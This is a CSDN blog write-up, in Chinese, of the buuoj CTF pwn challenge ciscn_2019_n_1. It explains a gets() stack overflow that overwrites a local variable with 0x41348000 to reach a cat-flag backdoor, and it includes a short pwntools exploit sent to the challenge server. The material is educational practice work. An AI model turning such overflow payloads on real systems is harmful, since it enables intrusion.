buuoj ciscn_2019_n_1 writeup

最新推荐文章于 2024-07-04 23:57:36 发布

22的卡卡

最新推荐文章于 2024-07-04 23:57:36 发布

阅读量113

点赞数 1

分类专栏： write up 文章标签： ctf

本文链接：https://blog.csdn.net/m0_73605862/article/details/130919118

版权

write up 专栏收录该内容

87 篇文章 1 订阅

订阅专栏

文章描述了一次针对64位NX保护开启程序的PWN攻击，通过分析main函数和func()中的gets()函数，发现栈溢出漏洞。利用该漏洞，通过计算使v2达到特定十六进制值（0x41348000），触发后门函数catflag，最终编写并发送exploit来获取flag。

摘要由CSDN通过智能技术生成

题目（四）：
【题型】PWN
【题目】ciscn_2019_n_1
【来源】（buuoj）https://buuoj.cn/challenges#ciscn_2019_n_1
【思路】通过栈溢出使v2达到某个值实行后门函数
【具体步骤】
Step1：checksec一下文件，发现是一个64位的NX打开的程序。
在这里插入图片描述

Step2：将文件放到IDApro下进行静态调试。
在这里插入图片描述

Step3：看到main函数，查看伪代码（F5，如果键被占用，Fn+F5），然后发现有一个函数叫做func（），进入这个函数。
在这里插入图片描述

Step4：查看函数，发现有一个gets（）函数，栈的大小只有44，但是v1，点进去查看有0x30-0x4，又因为当v2=11.28125会有cat flag这个后门，所以只要让v1栈溢出可以使v2的值改变。计算11.28125的十六进制为0x41348000.
在这里插入图片描述

Step5：编写exp，得到flag。
源码为：

from pwn import *
p=remote("node4.buuoj.cn",27628)
ans=0x41348000
payload=b'a'*44+p64(ans)
p.sendline(payload)
p.interactive()

在这里插入图片描述

22的卡卡

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
buuoj ciscn_2019_n_1 writeup

Step4：查看函数，发现有一个gets（）函数，栈的大小只有44，但是v1，点进去查看有0x30-0x4，又因为当v2=11.28125会有cat flag这个后门，所以只要让v1栈溢出可以使v2的值改变。Step3：看到main函数，查看伪代码（F5，如果键被占用，Fn+F5），然后发现有一个函数叫做func（），进入这个函数。【来源】（buuoj）https://buuoj.cn/challenges#ciscn_2019_n_1。【题目】ciscn_2019_n_1。
复制链接

扫一扫

专栏目录